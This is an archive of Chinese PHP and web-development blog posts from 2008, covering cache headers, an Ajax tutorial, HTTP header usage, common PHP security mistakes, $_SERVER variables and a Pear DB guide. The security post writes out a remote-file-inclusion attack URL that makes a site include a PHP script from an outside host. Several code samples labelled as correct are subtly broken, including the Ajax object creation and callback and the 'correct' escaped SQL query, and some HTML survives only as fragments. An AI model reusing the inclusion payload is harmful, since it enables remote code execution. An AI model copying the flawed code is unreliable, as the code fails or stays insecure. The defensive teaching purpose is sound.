飞鸟的天空 - PHP资料

php禁止页面缓存的函数

cn_vipus@yahoo.com.cn(cn_vipus) — Sun,27 Apr 2008 20:47:46 +0800

 程序代码

function nocache_headers() {  
     @ header('Expires: Thu, 01 Jan 1970 00:00:01 GMT');  
     @ header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');  
     @ header('Cache-Control: no-cache, must-revalidate, max-age=0');  
     @ header('Pragma: no-cache');  
}  
nocache_headers(); 

可多次使用的仿126邮箱选项卡的源码

cn_vipus@yahoo.com.cn(cn_vipus) — Mon,14 Apr 2008 00:02:21 +0800

 程序代码

http://www.w3.org/1999/xhtml"> 

简洁Tab

新闻1

新闻2

新闻3

新闻4

新闻列表1

新闻列表2

新闻列表3

新闻列表4

新闻1

新闻2

新闻3

新闻4

新闻列表1

新闻列表2

新闻列表3

新闻列表4

Ajax基础教程

cn_vipus@yahoo.com.cn(cn_vipus) — Mon,14 Apr 2008 00:00:22 +0800

第一.XMLHttpRequest对象:
1.Sample:创建一个XMLHttpRequest对象的实例:
代码

 程序代码

 var xmlHttp;   //定义全局变量来保存对对象的引用   
 function createXMLHttpRequest(){   
     if(window.ActiveXObject){  //判断浏览器是否为IE   
         xmlHttp=new XMLHttpRequest("Microsoft.XMLHTTP");   
      }   
     else if(window.XMLHttpRequest){   //判断非IE的浏览器是否支持xmlhttprquest   
         xmlHttp=new XMLHttpRequest();                                   
      }   
 }   
 //IE浏览器肯定支持xmlhttprequest,因为其是存在于ActiveX中   

2.XmlHttpRequest对象的方法:
1>void open(String method,String url,boolean asynch,String username,String password):表示建立对服务器的调用.后三个参数为可选参数;mehod可以为GET,POST,PUT; url可以为绝对或相对地址; asynch默认值为True,表示异步,当为false时处理就会等待,直到从服务器响应为止;username跟password为用户指定特定的用户名跟密码.
2>void send(content):这个方法具体向服务器发出请求,如声明为异步则会立即返回此方法,否则它会等待直到接受相应为止.
3>void sendRequestHeader(String header,String value):此方法为HTTP请求中一个给定的首部设置值,header表示设置的首部,value表示要设置的值.
注意:此方法必须要在void open()方法之后才能调用.
4>void abort():停止请求.
5>String getAllResponseHeaders():返回一个串包含所有的http的首部(Content-Length,Date,URI)
6>String getResponseHeaders(String header):header表示指定首部值.
7>onreadystatechange():每个事件改变时都会触发事件处理器,通常会调用一个JS函数.
8>readyState:=0:未初始化;=1:正在加载;=2:已加载;=3:交互中;=4:完成
9>states:HTTP状态码.=200:OK.=404:未找到.

2.Sample:
交互实例具体步骤:
1>
2>创建XMLHttpRequest对象的一个实例:
代码

 程序代码

 var xmlHttp;   
 function validateEmail(){   
    var email=document.getElementById("email");   
    var url="validate?email="+escape(email.value);   
   if(window.ActiveXObject){   
       xmlHttp=new XMLHttpRequest("Microsoft.XMLHttpRequest");   
    }else if(window.XMLHttpRequest){   
       xmlHttp=new XMLHttpRequest();   
    }         
    xmlHttp.open("GET",url);   
    xmlHttp.onreadystatechange()=callback;   
    xmlHttp.send(null);   
 }   

3>调Servlet等服务器端.
4>服务器端完成业务逻辑.
5>请求返回浏览器.设置Content-Type为:text/xml.还要设置一下首部以使浏览器不会在本地缓存结果: response.setHeader("Cache-Control","no-cache");response.setHeader("progma","no-cache");
6>XMLHttpRequest对象配置为处理返回时要调用callback():这个函数会检查readystate属性,然后查看服务器返回的状态码,如果正常,callback()将会做些有意义的事情.例如:
代码

 程序代码

 function callback(){   
   if(xmlHttp.readystate==4){   
      if(xmlHttp.state==200){   
         //do sth in here.   
       }   
    }   
 }   

3.GET与POST的区别:
GET:请求为幂等(多个请求返回相同的结果)时选用.会限制净荷的大小.(eg:URL的长度)
POST:当改变服务器上的状态时.不会限制净荷大小.
一般,可以用GET从服务器上取数据,但是要避免调用服务器上的状态.
如果选择的方法为POST,需要比GET多一步操作:设置XMLHttpRequest对象的首部:
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

4.DOM说明:
DOM是一个W3C规约,可以以一种独立于平台和语言的方式.DOM的设计是以对象管理组织(OMG)的规约为基础,因此可以用于任何语言.DOM实际上是以面向对象方式描述的面向对象模型.

第二,与服务器的通信:
1.XMLHttpRequest对象提供了两个处理服务器响应:1>responseText(将相应提供为一个串); 2>responseXML(将相应提供为一个XML对象)
2.利用HTML的innerHTML属性跟responseText结合使用,服务器就能"生产"出HTML内容,由浏览器利用innerHTML属性来"消费".
Sample:
innerHTML.html文件:
代码

程序代码

innerHTML.xml文件:
代码

 程序代码

Active NameLocationTime
waterskingDock #9:00 AM
VolleyballEast Count11:00 AM
hikingsTrails 32:00 PM

Active Name	Location	Time
watersking	Dock #	9:00 AM
Volleyball	East Count	11:00 AM
hikings	Trails 3	2:00 PM

常见http头状态信息意议以及在php使用header设置方法

cn_vipus@yahoo.com.cn(cn_vipus) — Sat,12 Apr 2008 21:52:59 +0800

// ok
header('HTTP/1.1 200 OK');

//设置一个404头:
header('HTTP/1.1 404 Not Found');

//设置地址被永久的重定向
header('HTTP/1.1 301 Moved Permanently');

//转到一个新地址
header('Location: http://www.example.org/');

//文件延迟转向:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';

//当然，也可以使用html语法实现
// http://www.example.org/ />

// override X-Powered-By: PHP:
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');

//文档语言
header('Content-language: en');

//告诉浏览器最后一次修改时间
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');

//告诉浏览器文档内容没有发生改变
header('HTTP/1.1 304 Not Modified');

//设置内容长度
header('Content-Length: 1234');

//设置为一个下载类型
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"');
header('Content-Transfer-Encoding: binary');
// load the file to send:
readfile('example.zip');

// 对当前文档禁用缓存
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Pragma: no-cache');

//设置内容类型:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain'); //纯文本格式
header('Content-Type: image/jpeg'); //JPG图片
header('Content-Type: application/zip'); // ZIP文件
header('Content-Type: application/pdf'); // PDF文件
header('Content-Type: audio/mpeg'); // 音频文件
header('Content-Type: application/x-shockwave-flash'); //Flash动画

//显示登陆对话框
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';
?>

Cannot send session cache limiter - headers alread

cn_vipus@yahoo.com.cn(cn_vipus) — Wed,09 Apr 2008 15:27:34 +0800

1.PHP.ini,找到session.save_path,修改为session.save_path="/tmp"

2.

 程序代码

error_reporting (E_ALL ^ E_WARNING);
 session_start();

PHP程序员最易犯10种错误(转)

cn_vipus@yahoo.com.cn(cn_vipus) — Wed,09 Apr 2008 14:26:11 +0800

PHP程序员最易犯10种错误(转)
PHP是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表，列出了PHP程序员经常犯的10中错误，大多数和安全相关。看看你犯了几种

1.不转意html entities

一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据），输出之前都要转意。

echo $_GET['usename'] ;

这个例子有可能输出：

这是一个明显的安全隐患，除非你保证你的用户都正确的输入。

如何修复：

我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and ")，函数htmlspecialchars 和 htmlentities()正是干这个活的。

正确的方法：

echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！
如何修复：

和在最简单的防止sql注入的方法(php mysql中)中一样我还是推荐使用mysql_real_escape_string()函数

正确做法：
$sql = "Update users SET
name='.mysql_real_escape_string($name).'
Where id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。
头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。
如果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发，而在部署到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数，并且令output_buffering = Off
。

4. Require 或 include 的文件使用不安全的数据
再次强调：不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。

例如:
index.php
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息，或执行一个PHP脚本。

如果allow_url_fopen=On，你更是死定了：
试试这个输入：
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。

如何修复：
你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法：
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. 语法错误
语法错误包括所有的词法和语法错误，太常见了，以至于我不得不在这里列出。解决办法就是认真学习PHP的语法，仔细一点不要漏掉一个括号，大括号，分号，引号。还有就是换个好的编辑器，就不要用记事本了！

6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术，结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多，越来越好，我们没有理由不使用面向对象。

7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事，我们为何不使用他们呢？

8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual，在google上检索一下，也许会有新的发现！PHP中的exec()是一个强大的函数，可以执行cmd shell，并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现\'或\'"吗？这通常是因为在开发者的环境中magic_quotes 设置为off，而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本：
It's a string

magic quotes on :
It\'s a string
又运行一次
addslashes():
It\\'s a string

HTML输出:
It\'s a string

还有一种情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次！

PHP中$_SERVER的详细用法

cn_vipus@yahoo.com.cn(cn_vipus) — Sun,06 Apr 2008 21:38:40 +0800

$_SERVER[’PHP_SELF’] #当前正在执行脚本的文件名，与 document root相关。
$_SERVER[’argv’] #传递给该脚本的参数。
$_SERVER[’argc’] #包含传递给程序的命令行参数的个数（如果运行在命令行模式）。
$_SERVER[’GATEWAY_INTERFACE’] #服务器使用的 CGI 规范的版本。例如，“CGI/1.1”。
$_SERVER[’SERVER_NAME’] #当前运行脚本所在服务器主机的名称。
$_SERVER[’SERVER_SOFTWARE’] #服务器标识的字串，在响应请求时的头部中给出。
$_SERVER[’SERVER_PROTOCOL’] #请求页面时通信协议的名称和版本。例如，“HTTP/1.0”。
$_SERVER[’REQUEST_METHOD’] #访问页面时的请求方法。例如：“GET”、“HEAD”，“POST”，“PUT”。
$_SERVER[’QUERY_STRING’] #查询(query)的字符串。
$_SERVER[’DOCUMENT_ROOT’] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER[’HTTP_ACCEPT’] #当前请求的 Accept: 头部的内容。
$_SERVER[’HTTP_ACCEPT_CHARSET’] #当前请求的 Accept-Charset: 头部的内容。例如：“iso-8859-1,*,utf-8”。
$_SERVER[’HTTP_ACCEPT_ENCODING’] #当前请求的 Accept-Encoding: 头部的内容。例如：“gzip”。
$_SERVER[’HTTP_ACCEPT_LANGUAGE’]#当前请求的 Accept-Language: 头部的内容。例如：“en”。
$_SERVER[’HTTP_CONNECTION’] #当前请求的 Connection: 头部的内容。例如：“Keep-Alive”。
$_SERVER[’HTTP_HOST’] #当前请求的 Host: 头部的内容。
$_SERVER[’HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址。
$_SERVER[’HTTP_USER_AGENT’] #当前请求的 User_Agent: 头部的内容。
$_SERVER[’HTTPS’] — 如果通过https访问,则被设为一个非空的值(on)，否则返回off
$_SERVER[’REMOTE_ADDR’] #正在浏览当前页面用户的 IP 地址。
$_SERVER[’REMOTE_HOST’] #正在浏览当前页面用户的主机名。
$_SERVER[’REMOTE_PORT’] #用户连接到服务器时所使用的端口。
$_SERVER[’SCRIPT_FILENAME’] #当前执行脚本的绝对路径名。
$_SERVER[’SERVER_ADMIN’] #管理员信息
$_SERVER[’SERVER_PORT’] #服务器所使用的端口
$_SERVER[’SERVER_SIGNATURE’] #包含服务器版本和虚拟主机名的字符串。
$_SERVER[’PATH_TRANSLATED’] #当前脚本所在文件系统（不是文档根目录）的基本路径。
$_SERVER[’SCRIPT_NAME’] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER[’REQUEST_URI’] #访问此页面所需的 URI。例如，“/index.html”。
$_SERVER[’PHP_AUTH_USER’] #当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的用户名。
$_SERVER[’PHP_AUTH_PW’] #当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的密码。
$_SERVER[’AUTH_TYPE’] #当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是认证的类型。

$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址

Pear DB 新手入门指南

cn_vipus@yahoo.com.cn(cn_vipus) — Fri,28 Mar 2008 23:38:51 +0800

1.        简介-------------------------------------------------------------------------------------2

2.        下载、安装Pear-------------------------------------------------------------------------2

3          使用Pear DB----------------------------------------------------------------------------2

3.1.1   连接，断开数据库

3.1.2   执行数据库

3.1.3   获得select的数据

3.1.3.1  获取数据的函数

3.1.3.2  选择获取数据的格式

3.1.3.3  设置获取数据的格式

3.1.3.4  控制获取数据数量

3.1.3.5  清除结果，释放变量

3.1.4   快速retrieve数据

3.1.5   从查询结果获得更多信息(numRows, numCols, affectedRows, tableInfo)

3.1.6   自动增长（Sequences）

3.1.7   Prepare & Execute/ExcuteMultiple

3.1.8   autoCommit, commit and rollback

4.        可用方法列表---------------------------------------------------------------------------10

5          错误处理机制---------------------------------------------------------------------------12

5.1         从Pear DB Error获得错误信息

5.2         Debug Pear DB Errors

5.3        对错误采取自动处理

1.        简介

这是一部指导我们如何使用Pear DB扩展。Pear DB，提供这样一系列的类：

n          数据库抽象

n          高级错误处理机制

n          以及其它

2.        下载、安装Pear

由于现在Pear项目仍处于紧锣密鼓的开发之中，所以得到它的最好办法就是从CVS获得（Pear DB发行包已经跟随PHP4.0.6以后版本捆绑发布）。所以，我们只需要把Pear的根目录放到php.ini配置文件include_path中。也可以通过这样设置：_set('include_path', '/pear_base_dir').

以下是strp by step示例：

存放Pear的目录：

# cd /usr/local/lib

用“phpfi“口令登录:

# cvs -d :pserver:cvsread@cvs.php.net:/repository login

用以下命令得到所有的pear文件，同时也可以用来更新已经下载的文件。其他的参数有："today", "last month",等。我推荐用"last week"参数，因为一般bugs的提交和修改都是每周一次。

# cvs -d :pserver:cvsread@cvs.php.net:/repository export -D "last week" php4/pear

编辑php.ini文件加上下面一段在include_path处： /usr/local/lib/php4/pear 如果没有修改的权限，可以通过这条语句在代码中实现： ini_set('include_path', 'path_to_pear');

获得PHP CVS的完全文档

注意Pear DB必需PHP版本4.0.4以上，而在Pear中的一些其他包如：XML Parser of the pear installer script需要PHP4.0.5以上版本。

3.        使用Pear DB

3.1         连接，断开数据库

// The pear base directory must be in your include_path
require_once 'DB.php';
$user = 'foo';
$pass = 'bar';
$host = 'localhost';
$db_name = 'clients_db';

// Data Source Name: This is the universal connection string
$dsn = "mysql://$user:$pass@$host/$db_name";

// DB::connect will return a Pear DB object on success
// or a Pear DB Error object on error
// You can also set to TRUE the second param
// if you want a persistent connection:
// $db = DB::connect($dsn, true);
$db = DB::connect($dsn);

// With DB::isError you can differentiate between an error or
// a valid connection.
if (DB::isError($db)) {
         die ($db->getMessage());
}
....
// You can disconnect from the database with:
$db->disconnect();
?>

数据源(上例中的$dsn 参数)有以下允许的格式：（从Pear/DB.php的parseDSN方法复制而来）

     *  phptype: Database backend used in PHP (mysql, odbc etc.)
      *  dbsyntax: Database used with regards to SQL syntax etc.
      *  protocol: Communication protocol to use (tcp, unix etc.)
      *  hostspec: Host specification (hostname[:port])
      *  database: Database to use on the DBMS server
      *  username: User name for login
      *  password: Password for login
      *
      * The format of the supplied DSN is in its fullest form:
      *
      *  phptype(dbsyntax)://username:password@protocol+hostspec/database
      *
      * Most variations are allowed:
      *
      *  phptype://username:password@protocol+hostspec:110//usr/db_file.db
      *  phptype://username:password@hostspec/database_name
      *  phptype://username:password@hostspec
      *  phptype://username@hostspec
      *  phptype://hostspec/database
      *  phptype://hostspec
      *  phptype(dbsyntax)
      *  phptype

现在支持的数据库有 (在 phptype DSN 部分):

mysql  -> MySQL
pgsql  -> PostgreSQL
ibase  -> InterBase
msql   -> Mini SQL
mssql  -> Microsoft SQL Server
oci8   -> oracle 7/8/8i
odbc   -> ODBC (Open Database Connectivity)
sybase -> SyBase
ifx    -> Informix
fbsql  -> FrontBase

注意并不是所有数据库特征都支持，可以从根目录>/DB/STATUS 得到详细的清单。

3.2         执行数据库

// Once you have a valid DB object
...
$sql = "select * from clients";
// If the query is a "Select", $db->query will return
// a DB Result object on success.
// Else it simply will return a DB_OK
// On failure it will return a DB Error object.
$result = $db->query($sql);
// Always check that $result is not an error
if (DB::isError($result)) {
         die ($result->getMessage());
}
....
?>

3.3         获得select的数据

3.3.1   获取数据的函数

// Once you have a valid DB Result object
...
// Get each row of data on each iteration until
// there is no more rows
while ($row = $result->fetchRow()) {
     $id = $row[0];
}
?>

除了fetchRow()还可以使用fetchInto()直接插入$row的值。

...
while ($result->fetchInto($row)) {
     $id = $row[0];
}
?>

3.3.2   选择获取数据的格式

获取模式有DB_FETCHMODE_ORDERED（默认）, DB_FETCHMODE_ASSOC and DB_FETCHMODE_OBJECT.

从获取数据方法返回的结果示例：

$res = $db->query('select id, name, email from users');
$row = $res->fetchRow($mode);

//With $mode = DB_FETCHMODE_ORDERED
//The default behavior is to return an ordered array.
$row = array (
     0 => ,
     1 => ,
     2 =>
);

$id = $row[0];

//With $mode = DB_FETCHMODE_ASSOC
//Returns an associative array with column names as array keys:
$row = array (
     'id'    => ,
     'name'  => ,
     'email' =>
);

$id = $row['id'];

//With $mode = DB_FETCHMODE_OBJECT
//Returns a DB_row object with column names as properties:
$row = db_row Object
(
     [id]    => ,
     [name]  => ,
     =>
)

$id = $row->id;
?>

3.3.3   设置获取数据的格式

可以使用 fetchrow() / fetchInto() 方法或者为你的DB实例设置一个默认的模式。

...
// 1) Set the mode per call:
while ($row = $result->fetchRow(DB_FETCHMODE_ASSOC)) {
     [..]
}
while ($result->fetchInto($row, DB_FETCHMODE_ASSOC)) {
     [..]
}

// 2) Set the mode for all calls:
$db = DB::connect($dsn);
// this will set a default fetchmode for this Pear DB instance
// (for all queries)
$db->setFetchMode(DB_FETCHMODE_ASSOC);
$result = $db->query(...);
while ($row = $result->fetchRow()) {
     $id = $row['id'];
}
?>

3.3.4   控制获取数据数量

同时Pear DB获取数据可以带有额外的参数，可以使用一个数字参数来获取需要的数据数量。在你只需要获得数据中的一部分时这时候特别有用（比如在做分页程序的时候）

...
// the row to start fetching
$from = 50;
// how many results per page
$res_per_page = 10;
// the last row to fetch for this page
$to = $from + $res_per_page;
foreach (range($from, $to) as $rownum) {
     if (!$row = $res->fetchrow($fetchmode, $rownum)) {
         break;
     }
     $id = $row[0];
     ....
}
?>

3.3.5   清除结果，释放变量

当你完成查询的时候，可以用free()方法来结束:

...
$result = $db->query('Select * FROM clients');
while ($row = $result->fetchRow()) {
     ...
}
$result->free();
?>

3.4         快速retrieve数据

当你不再想用fetchRow()方法来获取数据的时候，Pear DB通过sql语句提供一些特别的方法来返回想要的数据。这些方法有：getOne, getRow, getCol, getAssoc and getAll. 这有一些使用示例:

require_once 'DB.php';
$db = DB::connect('pgsql://postgres@unix+localhost/clients_db');
// -----------------------------------------------------------
// getOne retrieves the first result of the first column
// from a query
$numrows = $db->getOne('select count(id) from clients');
// -----------------------------------------------------------
// getRow will fetch the first row and return it as an array
$sql = 'select name, address, phone from clients where id=1';
if (is_array($row = $db->getRow($sql))) {
     list($name, $address, $phone) = $row;
}
// -----------------------------------------------------------
// getCol will return an array with the data of the
// selected column. It accepts the column number to retrieve
// as the second param.
// The next sentence could return for example:
// $all_client_names = array('Stig', 'Jon', 'Colin');
$all_client_names = $db->getCol('select name from clients');
// -----------------------------------------------------------
// Other functions are: getAssoc() and getAll().
// For the moment refer to their in-line documentation
// at pear/DB/common.php
// -----------------------------------------------------------
?>

"get*() 系列方法" 可以为你做很多事情, 包括: 发起一个查询, 获取数据和清除结果。请注意所有的Pear DB函数将可能返回一个 Pear DB_error 对象。

3.5         从查询结果获得更多信息(numRows, numCols, affectedRows, tableInfo)

通过 Pear DB可以从查询结果获得更多有用的数据信息。这些方法有:

    * numRows(): 通过一个"Select" 查询返回所有数据的数量。
    * numCols():通过一个"Select" 查询返回所有的列。
    * affectedRows(): 通过("Insert", "Update" or "Delete")操作返回所有受影响的数据行数。
    * tableInfo():通过一个"Select" 查询返回一个包含数据信息的数组。

示例:

...
$db = DB::connect($dsn);
$sql = 'select * from clients';
$res = $db->query($sql);
// Don't forget to check if the returned result from your
// action is a Pear Error object. If you get a error message
// like 'DB_error: database not capable', means that
// your database backend doesn't support this action.
//
// Number of rows
echo $res->numRows();
// Number of cols
echo $res->numCols();
// Table Info
print_r ($res->tableInfo());
// Affected rows
$sql = "delete from clients";
// remember that this statement won't return a result object
$db->query($sql);
echo 'I have deleted ' . $db->affectedRows() . 'clients';
?>

3.6         自动增长（Sequences）

Sequences 为数据行提供独一无二的ID标识。如果熟悉MySQL之类的话，可以把它想象为AUTO_INCREMENT.它非常简单，首先你获取一个ID，然后在这个ID所在的行插入你所需要记录的数据。可以为你的表设置更多的Sequences，只需要保证在任何特殊的表中都使用一样的sequence就行。

...
// Get an ID (if the sequence doesn't exist, it will be created)
$id = $db->nextID('mySequence');

// Use the ID in your Insert query
$res = $db->query("Insert INTO myTable (id,text) VALUES ($id,'foo')");
...
?>

3.7         Prepare & Execute/ExcuteMultiple

// UNTESTED CODE !!!
//
// Example inserting data
$alldata = array(
   array(1, 'one', 'en'),
   array(2, 'two', 'to'),
   array(3, 'three', 'tre'),
   array(4, 'four', 'fire')
);
$sth = $dbh->prepare("Insert INTO numbers VALUES( , , )");
foreach ($alldata as $row) {
     $dbh->execute($sth, $row);
}
//Here's an example of a file placeholder:
$myfile = "/tmp/image.jpg";
$sth = $dbh->prepare('Insert INTO images ( , &)');
$dbh->execute($sth, array("this is me", $myfile));
//After I commit a bugfix that I have on my laptop, you can use
//parameter arrays in the getXxx methods too:
$ver = $dbh->getOne("Select stableversion FROM packages Where name =  ",
                     array($package));
?>

3.8         autoCommit, commit and rollback

//examples here
?>

4.        可用方法列表

/*
* From the DB_(driver) objects
*/
// get the object with, ie:
$db = DB::connect('mysql://user:pass@localhost/my_db');

// Set options
$db->setErrorHandling();
$db->setFetchmode();
// Information
$db->affectedRows();
$db->tableInfo();
// Database manipulation
$db->query();
// Data fetch
$db->nextId();
$db->getOne();
$db->getRow();
$db->getCol();
$db->getAssoc();
$db->getAll();
// Place holders and execute related
$db->quote();
$db->prepare();
$db->execute();
$db->executeMultiple();
// Transactions
$db->autoCommit();
$db->commit();
$db->rollback();
// Disconnection
$db->disconnect();

/*
* From DB_result objects
*/
// get the object with, ie:
$res = $db->query('select * from foo');

// Data fetch
$res->fetchRow();
$res->fetchInto();
// Result Info
$res->numCols();
$res->numRows();
$res->tableInfo();
// Free
$res->free();

/*
* From DB_error objects
*/
// get the object with, ie:
$error = $db->query('select * from no_table');

$error->getMessage();
$error->getDebugInfo();
$error->toString();
?>

5.        错误处理机制

5.1.       从Pear DB Error获得错误信息

所有从Pear DB 返回的错误都是Pear Errors. 这有一种方法来搜集:

...
$res = $db->query('select * from no_table');
if (DB::isError($res)) {
     // get the portable error string
     echo $res->getMessage();
}
?>

4.2           Debug Pear DB Errors

Pear DB采用一种轻便的错误消息系统向用户报错。把错误信息简单翻译成其它语言或者对于一种特殊错误采取特殊的处理方式这都带来了很大的优点。但是对于开发人员来说这些提示并么有提供很有用的信息。想要得到真实的数据处理出错的信息，你可以使用getDebugInfo()方法:

$sql = 'select * from no_table';
if (DB::isError($res = $db->query($sql))) {
     // get the native backend error
     // and the last query
     echo $res->getDebugInfo();
}
?>

通过当一个PHP函数出错时，会打印出出错提示。在pear中的这种机制被屏蔽了。但时有时你可能需要在代码中捕捉一些错误信息。可以使用set_error_handler PHP 函数, 从 PHP Manual获取信息.简单示例:

// what messages to report
error_reporting (E_ALL ^ E_NOTICE);
// this function will handle all reported errors
function my_error_handler ($errno, $errstr, $errfile, $errline) {
     echo "In $errfile, line: $errline\n
$errstr";
}
set_error_handler ('my_error_handler');
$db = DB::connect('pgsql://postgres@localhost/no_db');
...
?>

5.3   对错误采取自动处理

       正如你所看见的， Pear DB提供了广泛的错误检测和报告机制，这强迫开发人员必需对返回的数据结果进行检查，是否有错。 Pear DB同时照顾我们避免这种痛苦的工作，提供了一种灵活的体系，在一个错误出现的时候自动调用相应的措施。

这些可能的措施包括:

    * 返回错误对象 (PEAR_ERROR_RETURN). 这是默认的.
    * 打印错误 (PEAR_ERROR_PRINT)
    * 打印错误信息并忽略执行(PEAR_ERROR_DIE)
    * 用PHP函数 trigger_error()来列举错误(PEAR_ERROR_TRIGGER)
    * 把错误对象传递给一个函数或者类的方法 (PEAR_ERROR_CALLBACK)

简单示例:

require_once 'DB.php';
// Set the default action to take on error
PEAR::setErrorHandling(PEAR_ERROR_DIE);
// From here you don't need to check errors any more
$db = DB::connect('pgsql://postgres@localhost/my_database');
$res = $db->query('select id from no_table');
// at this point the execution is aborted and the error message is raisen
...
?>

高级示例:

// Define the app environment (this is: what errors you want to output)
define ('DEBUG_ENV', true);
// This function will handle all errors
function handle_pear_error ($error_obj) {
     // Be verbose while developing the application
     if (DEBUG_ENV) {
         die ($error_obj->getMessage()."\n".$error_obj->getDebugInfo());
     // Dump a silly message if the site is in production
     } else {
         die ('Sorry you request can not be processed now. Try again later');
     }
}

require_once 'DB.php';
// On error, call the "handle_pear_error" function back
// You can also use an object as pear error handler so:
// setErrorHandling(PEAR_ERROR_CALLBACK, array($object,'method_name');
PEAR::setErrorHandling(PEAR_ERROR_CALLBACK, 'handle_pear_error');
$db = DB::connect('pgsql://postgres@localhost/site_db');
$res = $db->query('select id from no_table');
// at this point the execution is aborted and the "handle_pear_error"
// function is called with the error object as its first argument
while ($row = $res->fetchRow()) {
     ...
}
...
?>

下面为扩展错误机制提供了一个很好的想法：

error_reporting (E_ALL ^ E_NOTICE);
// this function will handle all errors reported by PHP
function php_error_handler ($errno, $errstr, $errfile, $errline) {
     die ("In $errfile, line: $errline\n
$errstr");
}
set_error_handler ('php_error_handler');
// this function will catch errors generated by Pear,
// transform it to PHP errors and trigger them to the php_error_handler
function pear_error_handler ($err_obj) {
     $error_string = $err_obj->getMessage() . '
' . $error_obj->getDebugInfo();
     trigger_error ($error_string, E_USER_ERROR);
}
require 'DB.php';
PEAR::setErrorHandling (PEAR_ERROR_CALLBACK, 'pear_error_handler');
// force an error
$db = DB::connect('pgsql://postgres@localhost/no_db');
...
?>

HTML 事件

cn_vipus@yahoo.com.cn(cn_vipus) — Fri,28 Mar 2008 15:51:05 +0800

HTML代码

<th>浏览器支持</th>
 <th>描述</th>
 </tr>
 <tr>
 <th align="left" valign="top">onClick</th>
 <td nowrap="nowrap" valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE3 | N2 | O3 </td>
 <td>鼠标点击事件，多用在某个对象控制的范围内的鼠标点击</td>
 </tr>
 <tr>
 <th align="left" valign="top">onDblClick</th>

<td valign="top">HTML: 2 | 3 | 3.2 | 4  
 Browser: IE4 | N4 | O </td>

<td>鼠标双击事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onMouseDown</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE4 | N4 | O </td>
 <td>鼠标上的按钮被按下了</td>
 </tr>
 <tr>
 <th align="left" valign="top">onMouseUp</th>

<td>鼠标按下后，松开时激发的事件</td>
 </tr>
 <tr>
 <th align="left" valign="top">onMouseOver</th>
 <td valign="top">HTML: 2 | 3 | 3.2 | 4

Browser: IE3 | N2 | O3 </td>
 <td>当鼠标移动到某对象范围的上方时触发的事件</td>
 </tr>
 <tr>
